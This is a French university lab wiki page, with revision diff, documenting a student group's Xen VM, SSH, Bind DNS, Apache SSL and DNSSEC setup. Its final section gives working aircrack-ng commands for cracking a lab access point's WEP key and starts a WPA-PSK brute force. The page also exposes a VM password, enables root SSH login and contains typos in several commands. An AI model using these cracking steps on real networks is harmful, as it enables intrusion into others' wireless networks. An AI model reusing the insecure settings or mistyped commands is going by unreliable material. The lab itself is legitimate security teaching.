TP sysres IMA5 2021/2022 G8 : Différence entre versions

De Wiki d'activités IMA
(Connexions par ssh)
(Intrusion sur un serveur d'application web)
 
(14 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 41 : Ligne 41 :
  
 
== Serveur DNS ==
 
== Serveur DNS ==
 +
sur gandi.net on à reserver le DNS tournecochon.site pour notre site
  
 
== Configuration Bind ==
 
== Configuration Bind ==
 +
on souhaite avoir notre serveur Xen comme DNS principal
  
 +
on commence pour cela par installer bind
 
  apt-get install bind9
 
  apt-get install bind9
 +
 +
 +
on créé ensuite un fichier /etc/bind/named.comf.local et on ajoute
 +
 +
zone "tournecochon.site" IN {
 +
        type master;
 +
        file "/etc/bind/db.tournecochon.site";
 +
        allow-transfer { 217.70.177.40; }
 +
};
 +
 +
où 217.70.177.40 correspond à l'adresse ip du serveur DNS secondaire
 +
 +
type master précise que tournecochon.site est le DNS principal
 +
  
 
Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183
 
Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183
Ligne 117 : Ligne 134 :
 
  tournecochon.site-zsk.private
 
  tournecochon.site-zsk.private
  
On inclue les clés dans /etc/bind/db.tournecochon.site
+
On inclue les clés dans à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial :
 +
 
 +
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key
 +
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key
 +
 
 +
On signe les enregistrements de la zone
  
  $include /etc/bind/tournecochon.site-ksk.key
+
  dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk
 +
 
 +
On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé :
 +
 
 +
zone "tournecochon.site" IN
 +
{
 +
    type master;
 +
    file "etc/bind/db.tournecochon.site.signed";
 +
    allow-transfer { 217.70.177.40; }
 +
};
 +
 
 +
On enregistre la clé ksk sur la plateforme Gandi.net dans l'onglet DNSSEC.
 +
 
 +
Pour vérifier le fonctionnement du DNSSEC on exécute dans /etc/bind/ :
 +
 
 +
dnssec-verify -o tournecochon.site db.tournecochon.site.signed
 +
 +
Le résultat est satisfaisant :
 +
 +
Loading zone 'tournecochon.site' from file 'db.tournecochon.site.signed'
 +
 +
Verifying the zone using the following algorithms:
 +
- RSASHA1
 +
Zone fully signed:
 +
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
 +
                    ZSKs: 1 active, 0 stand-by, 0 revoked
  
 
= Package installé =
 
= Package installé =
Ligne 171 : Ligne 218 :
 
[[Fichier:intrusion_honey.zip]]
 
[[Fichier:intrusion_honey.zip]]
 
(mot de passe habituel)
 
(mot de passe habituel)
 +
 +
= ASR =

Version actuelle datée du 13 janvier 2022 à 19:26

Création de la machine virtuelle

Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr suivant le plan d'adressage suivant

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 SSID VM
Mel / Theo 07 10.7.0.0/16 2001:7A8:116E:60B7::0/64 10.07.0.250 10.07.0.251 10.07.0.252 10.07.0.253 Tournesol RinceCochon

Nous commencons par créer une image pour notre machine virtuelle.

$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte

$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage
$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1
$ xl create -c /etc/xen/RinceCochon.cfg
$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

Services Internet

Connexions par ssh

dans le fichier /etc/ssh/sshd_config on a configurer le port de connexion ssh à 1359 et on a autoriser le login depuis root (PermitRootLogin yes)

on peut ainsi se connecter en ssh à la machine virtuelle avec la commande suivante :

$ ssh root@193.48.57.183 -p 1359

Serveur DNS

sur gandi.net on à reserver le DNS tournecochon.site pour notre site

Configuration Bind

on souhaite avoir notre serveur Xen comme DNS principal

on commence pour cela par installer bind

apt-get install bind9


on créé ensuite un fichier /etc/bind/named.comf.local et on ajoute

zone "tournecochon.site" IN {
       type master;
       file "/etc/bind/db.tournecochon.site";
       allow-transfer { 217.70.177.40; }
};

où 217.70.177.40 correspond à l'adresse ip du serveur DNS secondaire

type master précise que tournecochon.site est le DNS principal


Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

Certificat ssl

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

Sécurisation de site web par certificat

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/


Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :


<VirtualHost 193.48.57.183:443>
        ServerName tournecochon.site
        ServerAlias www.tournecochon.site
        DocumentRoot /var/www/tournecochon.site
        CustomLog /var/log/apache2/secure_access.log combined

        SSSLEngine on
        SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
        SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
        SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

Sécurisation de serveur DNS par DNSSEC

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone (KSK) :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private
tournecochon.site-zsk.key
tournecochon.site-zsk.private

On inclue les clés dans à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial :

$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key

On signe les enregistrements de la zone

dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk

On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé :

zone "tournecochon.site" IN
{
    type master;
    file "etc/bind/db.tournecochon.site.signed";
    allow-transfer { 217.70.177.40; }
};

On enregistre la clé ksk sur la plateforme Gandi.net dans l'onglet DNSSEC.

Pour vérifier le fonctionnement du DNSSEC on exécute dans /etc/bind/ :

dnssec-verify -o tournecochon.site db.tournecochon.site.signed

Le résultat est satisfaisant :

Loading zone 'tournecochon.site' from file 'db.tournecochon.site.signed' 

Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

Package installé

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9

Tests d'intrusion

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un eeePC (truite) et d'un clé wifi.

Cassage de clef WEP d’un point d’accès Wifi

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap
KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

Cassage de mot de passe WPA-PSK par force brute

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07


Intrusion sur un serveur d'application web

Fichier:Intrusion honey.zip (mot de passe habituel)

ASR